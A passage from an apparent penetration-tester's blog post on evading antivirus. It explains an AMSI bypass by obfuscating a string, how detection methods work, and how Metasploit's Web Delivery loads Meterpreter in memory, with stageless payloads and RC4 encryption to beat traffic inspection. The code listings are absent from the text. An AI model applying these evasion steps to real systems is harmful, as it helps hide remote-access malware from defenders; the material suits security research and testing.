However, the mouse reacted just as quickly and AMSI now recognizes this piece of code and flags the script containing it as malware. It’s notoriously difficult to accurately detect malware, though, because you can’t have any false positives, or else you will break legitimate scripts by administrators, developers, or power users. This is no different. Slightly obfuscating the string amsiInitFailed is enough to trick AMSI. In fact, even substituting the single quotes with double quotes successfully bypasses the AMSI check, so it’s pretty basic pattern matching. This works:

For more details on AMSI and PowerShell monitoring, this article by MDSec is highly recommended.

This can be used to make web delivery invisible to antivirus software again.

How Antivirus Products Work

Imagine you are an antivirus product. How would you decide whether something is malware or not? You could do several things.

Signature-based detection

You can compare files to known viruses. Of course, you need to be smart and disregard irrelevant bits in that file. For this purpose, you can keep a database of virus signatures.

This method is necessary to catch low-effort attacks, but you won’t catch more sophisticated variants, where the attacker modifies bits that are not irrelevant or writes their own malware completely from scratch.

Advanced viruses encrypt parts of themselves such that they always look different and you can’t tell what they do except that they seem to decrypt something and then execute it.

Heuristics

Sometimes you can try to determine what an executable does by examining what functions they call. Some functions are particularly popular with malware. In combination, you can get a pretty good picture whether something is malicious or not, but you are still prone to false positives.

Behavior analysis

It’s possible to analyze what a program does while you run it. Either by running it in a sandbox first, where it can do no harm, or by analyzing it at runtime. You can detect code being loaded over the network or a process attaching itself to another process. Things that pretty much only a virus would do.

The problem with this is that some viruses recognize when they are in a sandbox and try to behave well while being in a sandboxed environment.

Traffic inspection

Since attackers are moving away from file-based attacks, it has become more important to monitor what is being transferred over the network. Even if you execute code in memory, you still have to get it on the machine somehow. If you see known malware inside HTTP traffic, you could put a stop to that before it comes to execution. This could even be done on the network by an appliance, unless the traffic is encrypted via TLS. Then you need to terminate the encryption somewhere else than on the user’s machine, inspect the traffic, and re-encrypt the connection with your own certificate. This could be a violation of privacy and brings other problems as well.

Even worse, this can be easily bypassed by not using TLS and instead obfuscating or encrypting the malicious payload differently.

Meterpreter: A Case Study

Perhaps the most popular post-exploitation tool is Rapid7’s Meterpreter, part of the Metasploit Framework. There are others such as Empire or Pupy. These are public frameworks that are used mostly by white hat hackers and pentesters. Of course, all antivirus products must catch those. It makes the pentester’s job harder, obviously, but needlessly so. Just because your antivirus software catches a low-hanging fruit in the form of publicly known malware doesn’t mean it can catch all post-exploitation tools. If you try hard enough, you can obfuscate all malware. Or you can write your own malware from scratch, like the NSA did. They called their post-exploitation framework “FuzzBunch”.

SySS developed their own tool to obfuscate known malware in 2013, which we call ShCoLo (a SHellCOde LOader). Back then, we couldn’t find any antivirus software that could catch it. Five years later, some antivirus vendors wised up and focused on the analysis of behavior, which is hard to hide. Some antivirus engines (for example Kaspersky) do detect malware that is obfuscated in this way. They use different techniques and we are currently doing research on how they work and how they can be outsmarted again. Expect another paper on how binaries containing malicious code can be obfuscated to come out soon.

Since Meterpreter makes our life harder, we want to focus on how to get it to run on our clients’ systems. Let’s stick to the in-memory technique for now.

Web Delivery

As mentioned above, Metasploit’s Web Delivery module makes it very easy to execute Meterpreter on the target during the post exploitation phase. Let’s try to understand what’s going on under the hood.

Using target 2, web delivery gives you a PowerShell one-liner like this (stage0):

This needs to be run on the target. It creates a new PowerShell process which downloads PowerShell code from 192.168.1.1/x and executes it using Invoke-Expression, or rather its short alias IEX. The PowerShell code usually looks like this (

We inserted some line breaks for readability and removed the unwieldy gzipped and base64-encoded stage2 in line 4. As you can see, this second stage is executed in yet another PowerShell process and is passed as an argument. The second stage is the actual payload, and in the case of the payload delivery method Powershell::method = reflection reads:

We notice immediately that the function and variable names have been randomized in order to make it harder for antivirus solutions to detect it. What this code does is the same as PowerSploit’s Invoke-Shellcode: It executes shellcode in-memory. The shellcode is hidden in a base64-encoded string in line 21, and typically a few hundred bytes long for staged payloads. The shellcode usually again works in multiple stages, loading more code in each stage.

Antivirus Evasion using Web Delivery

Now that we understand what is happening, we can try to make web delivery invisible to antivirus software.

First, we disable AMSI as described above. For this, we add the one-liner we talked about to stage1. With this, we are safe from static analysis of PowerShell code that is about to be executed.

However, we noticed that some products, for example Kaspersky Total Security, detects suspicious behavior, such as processes that download and execute code like, for instance, Meterpreter’s stage0. It’s possible to bypass that mechanism by using stageless Meterpreter shellcode, which makes total sense, because in a way we already have multiple stages just because we are using web delivery. There is no reason why the initial web request shouldn’t transfer the entire thing.

Except there was a reason. The Metasploit people worried about AMSI catching them, so they refrained from making use of Invoke-Expression. The point is that by using Invoke-Expression, we can directly execute much larger payloads. Before we were limited to a stage2 that is no larger than 8192 bytes, because it was passed as an argument – too little for a stageless Meterpreter. But since we can disable AMSI, this shouldn’t be a problem anymore. For this, we expanded web delivery by an option called exec_no_wrap. By using it, the entire payload is contained in stage1.

So far, so good. But there is still a potential pitfall. Now the entire payload is transferred via HTTP, and very often this channel is monitored by antivirus software. It can (and does!) detect a Meterpreter payload, even if it is base64-encoded and transferred via HTTPS. Simple encoding is not enough, we need encryption. A suitable approach is using RC4. It’s a weak cipher by modern cryptographic standards, but it’s easily implemented and good enough to trick antivirus products. Doing so makes stage1 look like this: